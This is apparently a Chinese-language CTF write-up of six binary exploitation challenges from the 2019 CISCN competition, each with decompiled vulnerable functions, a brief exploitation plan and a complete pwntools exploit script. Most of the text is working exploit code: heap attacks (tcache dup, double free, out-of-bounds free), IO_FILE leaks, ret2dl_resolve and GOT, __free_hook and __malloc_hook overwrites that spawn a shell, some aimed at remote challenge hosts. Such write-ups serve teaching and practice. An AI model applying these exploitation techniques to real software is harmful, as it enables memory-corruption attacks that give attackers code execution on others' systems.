盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. Virtual:
      1. load:
      2. save:
      3. 思路:
      4. EXP:
    2. bms:
      1. EXP:
    3. daily:
      1. EXP:
    4. Double:
      1. EXP:
    5. baby_pwn:
      1. EXP:
    6. your_pwn:
      1. EXP:

2019-CISCN-PWN

前言:

这次比赛难度不大,有意思的就是那道虚拟机。

正文:

Virtual:

第一次遇见pwn带虚拟机的,刚开始懵逼的不知道怎么去利用,后来发现能够任意读写后一切都很明了了。从不会到会的过程着实蛮有意思。

程序的流程就是输入指令,再输入指令所需要用的数据,然后进入虚拟机一个一个执行指令,这里需要逆向的有点仔细。最后会输出栈中内容。

这里有漏洞的地方就两个指令,load和save指令:

load:

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 __fastcall load_asm(__int64 stack_range)
{
signed __int64 result; // rax
__int64 v2; // [rsp+10h] [rbp-10h]

if ( (unsigned int)pop_one_to_two(stack_range, &v2) )
result = pop_two_to_one(
stack_range,
*(_QWORD *)(*(_QWORD *)stack_range + 8 * (*(signed int *)(stack_range + 0xC) + v2)));
else
result = 0LL;
return result;
}

这个函数的功能就是先从栈中pop出一个,再将它作为index以当前栈顶为界选中index处的内容再压栈,因为index可以任意,可以正数也可以为负数,所以可以从任意地址读入内容到栈中。

save:

1
2
3
4
5
6
7
8
9
10
signed __int64 __fastcall save_asm(__int64 stack_range)
{
__int64 v2; // [rsp+10h] [rbp-10h]
__int64 v3; // [rsp+18h] [rbp-8h]

if ( !(unsigned int)pop_one_to_two(stack_range, &v2) || !(unsigned int)pop_one_to_two(stack_range, &v3) )
return 0LL;
*(_QWORD *)(8 * (*(signed int *)(stack_range + 12) + v2) + *(_QWORD *)stack_range) = v3;
return 1LL;
}

这函数功能是从栈中pop出两个数,pop出的第一个做index,pop出的第二个做数据,以当前栈顶为界选中index处的地址,将pop出得第二个数据写入index地址处。所以就实现了任意地址写。

思路:

  1. 0x404020写入栈中,得到与虚拟机栈顶的偏移、index
  2. 0x404020处的内容(puts函数地址)读入栈中,再pop出来,泄漏得到libc
  3. 重新从1开始得到偏移,在栈中布置好one_gadget数据和index,利用任意写将one_gadget写入puts@got中。

因为指令有加减乘除,所以获取index很容易,这里就说说如何得到的偏移。

553F03D7-95D8-4A17-B6B9-D7889D428F67

从上图就可以看出来我们可以从栈中数据往上找到堆地址,只要把他读入栈中,这样就可以计算出和got表上的偏移。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = process('./pwn')
#p = remote('a569f7135ca8ce99c68ccedd6f3a83fd.kr-lab.com',40003)
elf = ELF('./pwn')
libc = ELF('./libc.so')
context.log_level = 'debug'

p.recvuntil('Your program name:\n')
p.sendline('V1NKe')

p.recvuntil('Your instruction:\n')
payload1 = 'push push push load push sub div load push'
payload1 += ' push load sub push load push add push push load'
payload1 += ' push sub div save'
p.sendline(payload1)

p.recvuntil('Your stack data:\n')
puts_addr = libc.symbols['puts']
puts_addr = str(puts_addr)
payload2 = '1 8 -5 4210720 '+puts_addr+' -1 0 987463'
payload2 += ' 8 -8 4210704 '
#gdb.attach(p,'b *0x4019B7')
p.sendline(payload2)

p.interactive()

bms:

这题有个坑点就是需要自己先去测libc版本,常规思维会用不带tcache版本的libc去想这一道题,但是这题是带了tcache的2.26版本。用free两次看看崩不崩就能知道带不带tcache了。

漏洞点,UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("index:");
v1 = rread();
if ( v1 > 9 )
{
puts("invalid index!");
exit(0);
}
free(*((void **)qword_602060[v1] + 2)); //uaf
return __readfsqword(0x28u) ^ v2;
}

程序只有添加和删除堆两个功能,那么很容易想到用IO_File去泄漏libc。用tcache dup在bss段上的stdout处申请一个chunk,再利用其在libc上的地址去修改IO_write_base。因为连续free两次也不会崩,也不会有size检查等等。所以比fastbin attack利用简单很多。最后修改__free_hookone_gadget即可。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

p = process('./pwn')
#p = remote('90b826377a05d5e9508314e76f2f1e4e.kr-lab.com',40001)
elf = ELF('./pwn')
libc = ELF('./libc.so')
context.log_level = 'debug'

p.recvuntil('username:')
p.sendline('admin')
p.recvuntil('password:')
p.sendline('frame')

def create(name,size,context):
p.sendlineafter('>\n','1')
p.sendafter('book name:',name)
p.sendlineafter('description size:',str(size))
p.sendafter('description:',context)

def createe(name,size,context):
p.sendlineafter('>','1')
p.sendafter('book name:',name)
p.sendlineafter('description size:',str(size))
p.sendafter('description:',context)

def delete(index):
p.sendlineafter('>\n','2')
p.sendlineafter('index:',str(index))

def deletee(index):
p.sendlineafter('>','2')
p.sendlineafter('index:',str(index))

#tcathe attack to the IO_File
create('A',0x68,'A'*0x68)
delete(0)
delete(0)
create('A',0x68,p64(0x602020))
create('A',0x68,'A')
create('A',0x68,'\x60')
create('A',0x68,p64(0xfbad1800)+p64(0)*3+'\x90')

#leak the libc
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4114403
system_addr = libc_base + libc.symbols['system']
free_addr = libc_base + libc.symbols['__free_hook']
log.success('libc base is :'+hex(libc_base))

#tcache attack to __free_hook
createe('A',0x30,'A')#5
deletee(5)
deletee(5)
createe('A',0x30,p64(free_addr))#6
createe('A',0x30,'/bin/sh')#7
createe('A',0x30,p64(system_addr))#8

#trigger
deletee(7)

p.interactive()

daily:

这里有一个越界删除的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 delete()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( daily_num )
{
printf("Please enter the index of daily:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( *(_QWORD *)&dialy_chunk[4 * v1 + 2] ) // 未检查idx
{
free(*(void **)&dialy_chunk[4 * v1 + 2]);
*(_QWORD *)&dialy_chunk[4 * v1 + 2] = 0LL;
dialy_chunk[4 * v1] = 0;
puts("remove successful!!");
--daily_num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No pages in the daily");
}
return __readfsqword(0x28u) ^ v3;
}

删除时没有检查index是否合法,所以可以任意删除,这里的删除哪里,该如何构造是一个点。

这里删除必然是拿来越界删除堆上的chunk再view拿来泄漏libc的,那么我们改怎样得知heap基地址从而算出index呢?

那就是delete两个fast bin再create覆盖fd的低位字节,就拿到了heap基地址,这样可以越界删除small chunk拿到libc地址,之后再利用越界删除构造double free。在malloc_hook上写system。再次malloc的时候触发。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

p = process('./pwn')
#p = remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com',58512)
elf = ELF('./pwn')
libc = ELF('./libc.so')
context.log_level = 'debug'

def create(size,context):
p.recvuntil('Your choice:')
p.sendline('2')
p.recvuntil('Please enter the length of daily:')
p.sendline(str(size))
p.recvuntil('Now you can write you daily\n')
p.send(context)

def show():
p.sendlineafter('Your choice:','1')

def edit(index,context):
p.sendlineafter('Your choice:','3')
p.sendlineafter('Please enter the index of daily:',str(index))
p.sendafter('Please enter the new daily\n',context)

def delete(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter('Please enter the index of daily:',str(index))

#leak heap base
create(0x60,'A')
create(0x60,'A')
create(0x80,'A'*0x20)
create(0x20,'A'*0x20)
delete(1)
delete(0)
create(0x60,'\x10')
show()

gdb.attach(p)
p.recvuntil('0 : ')
data = u64(p.recv(4).ljust(8,'\x00'))-0x10
log.success('heap base :'+hex(data))
idx = (data - 0x602060)/16

#leak libc
edit(0,'A'*8+p64(data+0x70*2+0x10))
delete(idx+1)
show()
p.recvuntil('2 : ')
data2 = u64(p.recv(6).ljust(8,'\x00')) - 3951480
one_addr = data2 + 0xf1147
malloc_hook = data2 + libc.symbols['__malloc_hook']
system_addr = data2 + libc.symbols['system']
log.success('malloc addr:'+hex(malloc_hook))
log.success('libc base :'+hex(data2))

#35
create(0x60,'A')
edit(0,'A'*8+p64(data+0x70+0x10))
delete(idx+1)
delete(0)
delete(1)

#double free 19
create(0x60,p64(malloc_hook-35))
create(0x60,'/bin/sh')
create(0x60,'A')
create(0x60,'\x00'*19+p64(system_addr))
p.sendlineafter('Your choice:','2')
p.recvuntil('Please enter the length of daily:')
p.send(str(data+0x10))
#gdb.attach(p)

p.interactive()

Double:

看代码虽然有点繁琐,但是理清之后很清楚,在create时如果内容一样那么两次create的指针会指向同一块chunk,这就可以构造double free了。之后的利用便很简单了。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

#p = process('./pwn')
p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com',40002)
elf = ELF('./pwn')
libc = ELF('./libc.so')
context.log_level = 'debug'

def create(context):
p.sendlineafter('> ','1')
p.sendlineafter('Your data:',context)

def show(index):
p.sendlineafter('> ','2')
p.sendlineafter('Info index: ',str(index))

def edit(index,context):
p.sendlineafter('> ','3')
p.sendlineafter('Info index: ',str(index))
sleep(0.3)
p.sendline(context)

def delete(index):
p.sendlineafter('> ','4')
p.sendlineafter('Info index: ',str(index))

create('A'*0x67)
create('A'*0x67)
create('B'*0x80)
create('B'*0x80)
create('C'*0x67)
create('A'*0x20)

delete(2)
show(3)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 3951480
one_gadget = libc_base + 0x4526a
malloc_addr = libc_base + libc.symbols['__malloc_hook']
print hex(libc_base),hex(malloc_addr)

delete(0)
delete(4)
delete(1)
create('A'*0x67)
edit(6,p64(malloc_addr-35))
create('A'*0x67)
create('c'*0x67)
create('\x00'*0x67)
edit(9,'d'*19+p64(one_gadget))
p.sendlineafter('> ','1')
#gdb.attach(p)

p.interactive()

baby_pwn:

常规的32位_runtime_dl_resolve,改一改地址就好了。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
#p=process('./pwn')
p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)

pop_ebp_ret=0x080485db
leave_ret=0x08048448
pppr=0x080485d9

fake_stack_size=0x800
bss=0x804A068
read_plt=0x8048396
read_got=0x804A00C
bss_stage=bss+fake_stack_size
dynsym=0x80481DC
dynstr=0x804827C
plt=0x08048380
relplt=0x804833C
rel_offset=bss_stage+28-relplt
fake_sym_addr=bss_stage+36
align=0x10-((fake_sym_addr-dynsym)&0xf)
print 'align==>'+hex(align)
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10
print 'index==>'+hex(index)
r_info=(index<<8)|0x7
print 'r_info==>'+hex(r_info)
fake_raloc=p32(read_got)+p32(r_info)
st_name=fake_sym_addr-dynstr+16
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

payload='a'*44
payload+=p32(read_plt)
payload+=p32(pppr)
payload+=p32(0)
payload+=p32(bss_stage)
payload+=p32(100)
payload+=p32(pop_ebp_ret)
payload+=p32(bss_stage)
payload+=p32(leave_ret)
p.sendline(payload)

binsh='/bin/sh'

payload='aaaa'
payload+=p32(plt)
payload+=p32(rel_offset)
payload+='aaaa'
payload+=p32(bss_stage+80)
payload+='aaaa'
payload+='aaaa'
payload+=fake_raloc
payload+='a'*align
payload+=fake_sym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=binsh+'\x00'
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()

your_pwn:

越界读写,但是只能一个字节一个字节写和一个字节一个字节读。先泄漏__libc_start_main再在ret地址处写入one_gadget

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

#p = process('./pwn')
p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856)
elf = ELF('./pwn')
libc = ELF('libc.so')
context.log_level = 'debug'

def sr(index):
p.recvuntil('input index\n')
p.sendline(str(index))
p.recvuntil('now value(hex) ')
return p.recvuntil('input')[-8:-6]

def xsr(index):
p.recvuntil('new value\n')
p.sendline(str(index))

# 328 --> canary ; 632 --> libc_start_maini ; 344 --> ret
p.recvuntil('name:')
p.sendline('A')
libc_start = ''
for i in range(8):
data = sr(632+i)
libc_start += data+' '
data = int('0x'+data,16)
xsr(data)

print libc_start
libc_start_addr = raw_input('input addr:')
libc_start_addr = int(libc_start_addr,16)-240
libc_base = libc_start_addr - libc.symbols['__libc_start_main']
one_addr = libc_base + 0x45216
one_addr = hex(one_addr)
print one_addr

lili = []
for j in range(2,len(one_addr),2) :
lili.append(int('0x'+one_addr[j:j+2],16))
lili = lili[::-1]
lili.append(0)
lili.append(0)
print lili

for a in range(8):
data = sr(344+a)
xsr(lili[a])

for b in range(25):
data = sr(b)
data = int('0x'+data,16)
xsr(data)

p.recvuntil('do you want continue(yes/no)? \n')
#gdb.attach(p)
p.sendline('no')

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫